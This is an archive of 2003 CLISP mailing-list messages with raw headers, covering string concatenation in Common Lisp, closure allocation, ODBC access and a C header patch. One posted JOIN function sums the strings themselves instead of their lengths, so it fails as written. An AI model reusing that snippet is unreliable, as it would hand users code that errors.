See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 3 12:43:12 2003 X-Original-Date: Fri, 3 Oct 2003 21:41:58 +0200 Sam Steingold writes: > > * Dan Stanger [2003-10-03 10:42:17 -0400]: > > > > What is the best way to convert a list of strings to a single string? > > For example ("abc" "def" "ghi") should convert to "abcdefghi" >=20 > 1. if your list is not too large (< CALL-ARGUMENTS-LIMIT) then > (apply #'concatenate 'string list-of-strings) > if, moreover, CLISP-only, the faster way is > (apply #'ext:string-concat list-of-strings) >=20 > 2. in general, the standard way is the same as adding lists of numbers = &c: > (reduce (lambda (s1 s2) (concatenate 'string s1 s2)) > list-of-strings :initial-value "") > (CLISP-specific ext:string-concat is again faster: > (reduce #'ext:string-concat list-of-strings) > moreover, it does not cons up a lambda). For some definition of best, it is: (defun join (list-of-strings) (do ((result (make-string (reduce (function +) list-of-strings))) (los list-of-strings (cdr los)) (pos 0)) ((null los) result) (replace result (car los) :start1 pos) (incf pos (length (car los))))) Note that (length a-string) is O(1) in Lisp, so the complexity of this function is O(n) with n =3D (length result) [assuming that n>>(length list-of-strings)]. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 06 01:04:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A6QLa-0006Db-00 for ; Mon, 06 Oct 2003 01:04:02 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A6QLY-0005xT-5c for clisp-list@lists.sourceforge.net; Mon, 06 Oct 2003 01:04:00 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 6 Oct 2003 10:03:25 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4LDZP4GT>; Mon, 6 Oct 2003 10:03:25 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE07126935@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Lisp question MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 6 01:05:01 2003 X-Original-Date: Mon, 6 Oct 2003 10:03:24 +0200 Hi, >2. in general, the standard way is the same as adding lists of >numbers &c: > (reduce (lambda (s1 s2) (concatenate 'string s1 s2)) > list-of-strings :initial-value "") > (CLISP-specific ext:string-concat is again faster: > (reduce #'ext:string-concat list-of-strings) > moreover, it does not cons up a lambda). This is wrong [Sam, was it late night? :)]. Both don't create closure objects ("a lambda") upon each invocation. CLISP's compiler is very well (and has always been) able to determine that the above lambda expression does not depend on run-time values. It's a function constant. As a result, it does not cost more than a function call. The constant function object is stored as part of the enclosing function, e.g. foo1, and is created once only during e.g. loading of the containing .fas file. (defun foo1 (list-of-strings) (reduce (lambda (s1 s2) (concatenate 'string s1 s2)) list-of-strings :initial-value "")) (disassemble #'foo1) Disassembly of function FOO1 (CONST 0) = # (CONST 1) = "" Other compilers also know this optimization. That's why it's better (performance-wise), for simple helper functions, to explicitly pass arguments than to close over some, even if it looks like repetition at the source-code level. E.g. prefer: (defun foo (a b c) (flet ((bar (x y z) (code involving only x y z))) (bar a (length b) (append a c))) over: (defun foo (a b c) ; less performant (flet ((bar (x z) (code using xyz and a b or c, e.g. (length b)))) (bar a (append a c)))) Moreover, the local function can be copied as is into another source code, while the one which depends on an outer variable (b) is likely to yield to copy&paste trouble. (length (times (foo1 list-of-strings))) Permanent Temporary Class instances bytes instances bytes ----- --------- --------- --------- --------- SIMPLE-STRING 1 500 10 2640 ; no FUNCTION object is created ----- --------- --------- --------- --------- Total 1 500 10 2640 Regards, Jorg Hohle From sds@gnu.org Tue Oct 07 08:00:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A6tKE-0006k3-00 for ; Tue, 07 Oct 2003 08:00:34 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A6tKD-00036L-Lo for clisp-list@lists.sourceforge.net; Tue, 07 Oct 2003 08:00:34 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h97F01622489 for ; Tue, 7 Oct 2003 11:00:01 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: <9F8582E37B2EE5498E76392AEDDCD3FE07126935@G8PQD.blf01.telekom.de> Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE07126935@G8PQD.blf01.telekom.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Lisp question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 7 08:01:13 2003 X-Original-Date: 07 Oct 2003 11:00:01 -0400 > * Hoehle, Joerg-Cyril [2003-10-06 10:03:24 +0200]: > > >2. in general, the standard way is the same as adding lists of > >numbers &c: > > (reduce (lambda (s1 s2) (concatenate 'string s1 s2)) > > list-of-strings :initial-value "") > > (CLISP-specific ext:string-concat is again faster: > > (reduce #'ext:string-concat list-of-strings) > > moreover, it does not cons up a lambda). > > This is wrong [Sam, was it late night? :)]. Both don't create closure > objects ("a lambda") upon each invocation. I did not say "upon each invocation". I meant that there are two savings: first, EXT:STRING-CONCAT is faster than (CONCATENATE 'STRING ...), and, second, it is called directly and not via an ad hoc lambda. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sufficiently advanced stupidity is indistinguishable from malice. From sds@gnu.org Tue Oct 07 08:02:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A6tMT-0006vB-00 for ; Tue, 07 Oct 2003 08:02:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A6tMS-0003UB-8H for clisp-list@lists.sourceforge.net; Tue, 07 Oct 2003 08:02:52 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h97F2K623040 for ; Tue, 7 Oct 2003 11:02:20 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: <20031002200913.65215.qmail@web60208.mail.yahoo.com> Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031002200913.65215.qmail@web60208.mail.yahoo.com> Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Call a script. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 7 08:03:13 2003 X-Original-Date: 07 Oct 2003 11:02:20 -0400 > * John Booher [2003-10-02 13:09:13 -0700]: > > How would I call a script (sh or python) from lisp? CLISP-specific: cross-implementation: CLOCC/PORT/shell.lisp -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From sds@gnu.org Tue Oct 07 09:19:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A6uYQ-0005nH-00 for ; Tue, 07 Oct 2003 09:19:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A6uYO-0004NM-PA for clisp-list@lists.sourceforge.net; Tue, 07 Oct 2003 09:19:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h97GIjp15856 for ; Tue, 7 Oct 2003 12:18:45 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) PATCH_UNIFIED_DIFF (-0.5 points) BODY: Contains what looks like a patch from diff -u QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 7 09:20:04 2003 X-Original-Date: 07 Oct 2003 12:18:45 -0400 > * Sam Steingold [2003-10-02 15:30:19 -0400]: > > > * Barry Fishman [2003-10-02 13:39:31 -0400]: > > > > > this means that the DATA slot of the IMAGE-X structure gets corrupted > > > somewhere, probably in C. > > > > The C raw data pointer is wrong by 4 bytes (in my test), but the data > > bits themselves seem to be OK. I don't think the DATA slot of the > > IMAGE-X structure is corrupted, since it still appears correct (from > > lisp) after the program is run. The only thing (confirmed) wrong is > > the data pointer computed internal to the put-image function. > > the fact that you and I get different results means, IMO, that the > whole structure is corrupted somewhere. Ironically, I was right - the problem was elsewhere. I just fixed it in the CVS, the patch is appended. thanks a lot for your testing and bug reporting! -- Sam Steingold (http://www.podval.org/~sds) running w2k The only thing worse than X Windows: (X Windows) - X --- genclisph.d.~1.81.~ 2003-10-02 10:39:28.460056500 -0400 +++ genclisph.d 2003-10-07 12:12:55.015347800 -0400 @@ -776,14 +776,14 @@ #endif #endif printf("typedef union { dfloat eksplicit; } dfloatjanus;\n"); -# printf("typedef struct { LRECORD_HEADER uintL length; } sarray_;\n"); +# printf("typedef struct { LRECORD_HEADER } sarray_;\n"); # printf("typedef sarray_ * Sarray;\n"); - printf("typedef struct { LRECORD_HEADER uintL length; uint8 data[unspecified]; } sbvector_;\n"); + printf("typedef struct { LRECORD_HEADER uint8 data[unspecified]; } sbvector_;\n"); printf("typedef sbvector_ * Sbvector;\n"); #ifdef UNICODE - printf("typedef struct { LRECORD_HEADER uintL length; uint32 data[unspecified]; } sstring_;\n"); + printf("typedef struct { LRECORD_HEADER uint32 data[unspecified]; } sstring_;\n"); #else - printf("typedef struct { LRECORD_HEADER uintL length; uint8 data[unspecified]; } sstring_;\n"); + printf("typedef struct { LRECORD_HEADER uint8 data[unspecified]; } sstring_;\n"); #endif printf("typedef sstring_ * Sstring;\n"); printf("typedef struct { LRECORD_HEADER gcv_object_t data[unspecified]; } svector_;\n"); From sds@gnu.org Tue Oct 07 09:22:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A6ubW-00061q-00 for ; Tue, 07 Oct 2003 09:22:30 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A6ubU-0004iy-QC for clisp-list@lists.sourceforge.net; Tue, 07 Oct 2003 09:22:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h97GLvp16956 for ; Tue, 7 Oct 2003 12:21:57 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: <20031001044434.28480.qmail@web41408.mail.yahoo.com> Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031001044434.28480.qmail@web41408.mail.yahoo.com> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: ODBC Package for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 7 09:23:03 2003 X-Original-Date: 07 Oct 2003 12:21:57 -0400 > * calin damian [2003-09-30 21:44:34 -0700]: > > I installed clisp-2.31 on a Win 2000 OS. > I want to access a MSSQL DB Server and I would like > to know what CLISP packages are available to do this > (and where I can find them). CLISP comes with PostgreSQL and Oracle modules (not compiled into your binary distribution). -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From hin@van-halen.alma.com Tue Oct 07 09:27:00 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A6ufs-0006j4-00 for ; Tue, 07 Oct 2003 09:27:00 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A6ufq-0005Kw-L8 for clisp-list@lists.sourceforge.net; Tue, 07 Oct 2003 09:26:58 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id BA49810DE21 for ; Tue, 7 Oct 2003 12:26:49 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id h97GQmkv014877 for ; Tue, 7 Oct 2003 12:26:48 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id h97GQmvH014874; Tue, 7 Oct 2003 12:26:48 -0400 Message-Id: <200310071626.h97GQmvH014874@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 07 Oct 2003 12:21:57 -0400) Subject: Re: [clisp-list] Re: ODBC Package for CLISP X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 7 09:27:08 2003 X-Original-Date: Tue, 7 Oct 2003 12:26:48 -0400 > CLISP comes with PostgreSQL and Oracle modules (not compiled into your > binary distribution). Not that this means these modules would be useful to access to MS-SQL server. AFAIK there is no such ODBC capability. I'd work on one but I think my efforts are better spent on Oracle. Have you considered switching to Oracle? Although I realize that may be impractical. From Roman.Belenov@intel.com Tue Oct 07 23:25:46 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A77la-0008QE-00 for ; Tue, 07 Oct 2003 23:25:46 -0700 Received: from fmr02.intel.com ([192.55.52.25] helo=caduceus.fm.intel.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A77lZ-0006Vd-TJ for clisp-list@lists.sourceforge.net; Tue, 07 Oct 2003 23:25:45 -0700 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h986Pb6g022218 for ; Wed, 8 Oct 2003 06:25:37 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by talaria.fm.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h986OeE01422 for ; Wed, 8 Oct 2003 06:24:40 GMT Received: (from NNWRBELENOV31 [10.125.17.147]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003100723251107072 for ; Tue, 07 Oct 2003 23:25:13 -0700 To: clisp-list@lists.sourceforge.net From: Roman Belenov Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] External modules and binary distrbution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 7 23:26:04 2003 X-Original-Date: Wed, 08 Oct 2003 10:25:09 +0400 Is it possible to compile and install external modules with binary distribution of clisp ? I'm using cygwin's package (clisp-2.31-2) which lacks FastCGI module; I'd like to install this module without rebuilding clisp from source. -- With regards, Roman. From sds@gnu.org Wed Oct 08 07:16:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7F6i-0008NF-00 for ; Wed, 08 Oct 2003 07:16:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7F6g-0005vf-8x for clisp-list@lists.sourceforge.net; Wed, 08 Oct 2003 07:16:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h98EFSm18917 for ; Wed, 8 Oct 2003 10:15:28 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: External modules and binary distrbution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 8 07:17:04 2003 X-Original-Date: 08 Oct 2003 10:15:28 -0400 > * Roman Belenov [2003-10-08 10:25:09 +0400]: > > Is it possible to compile and install external modules with binary > distribution of clisp ? I'm using cygwin's package (clisp-2.31-2) > which lacks FastCGI module; I'd like to install this module without > rebuilding clisp from source. yes, this is the whole point of external modules. please see -- Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From sds@gnu.org Wed Oct 08 07:55:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7FjE-0003ZT-00 for ; Wed, 08 Oct 2003 07:55:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7FjC-0002PJ-Sa for clisp-list@lists.sourceforge.net; Wed, 08 Oct 2003 07:55:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h98EtEm00377; Wed, 8 Oct 2003 10:55:14 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Cc: barry_fishman@att.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] header file compatibility Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 8 07:56:12 2003 X-Original-Date: 08 Oct 2003 10:55:09 -0400 The recent switch in new-clx from lispbibl.c to clisp.h uncovered a bug in clisp.h (fixed now, thanks to Barry Fishman for much testing). Is it possible to somehow automatically check for header file compatibility? E.g., --------------------------------------- #include "clisp.h" #include "lispbibl.h" int main (int argc, char* argv[]) { return 0; } --------------------------------------- cannot be compiled: lispbibl.h:1: error: redefinition of `SBYTE' clisp.h:213: error: `SBYTE' previously declared here (although both define SBYTE identically as "typedef char SBYTE"). It is possible to grep clisp.h for typedefs and compute their sizeof() &c... Other ideas? -- Sam Steingold (http://www.podval.org/~sds) running w2k (lisp programmers do it better) From a.bignoli@computer.org Wed Oct 08 14:46:58 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A7M94-0007EJ-00 for ; Wed, 08 Oct 2003 14:46:58 -0700 Received: from mail-1.tiscali.it ([195.130.225.147]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A7M93-0003Cx-NI for clisp-list@lists.sourceforge.net; Wed, 08 Oct 2003 14:46:57 -0700 Received: from dalet.19216810.loc (62.10.42.14) by mail-1.tiscali.it (6.7.019) id 3F79B03D0071F5A7 for clisp-list@lists.sourceforge.net; Wed, 8 Oct 2003 23:46:25 +0200 Received: from dalet.19216810.loc (IDENT:25@localhost [127.0.0.1]) by dalet.19216810.loc (8.12.10/8.12.10) with ESMTP id h98LiokU002711 for ; Wed, 8 Oct 2003 23:44:51 +0200 Received: (from 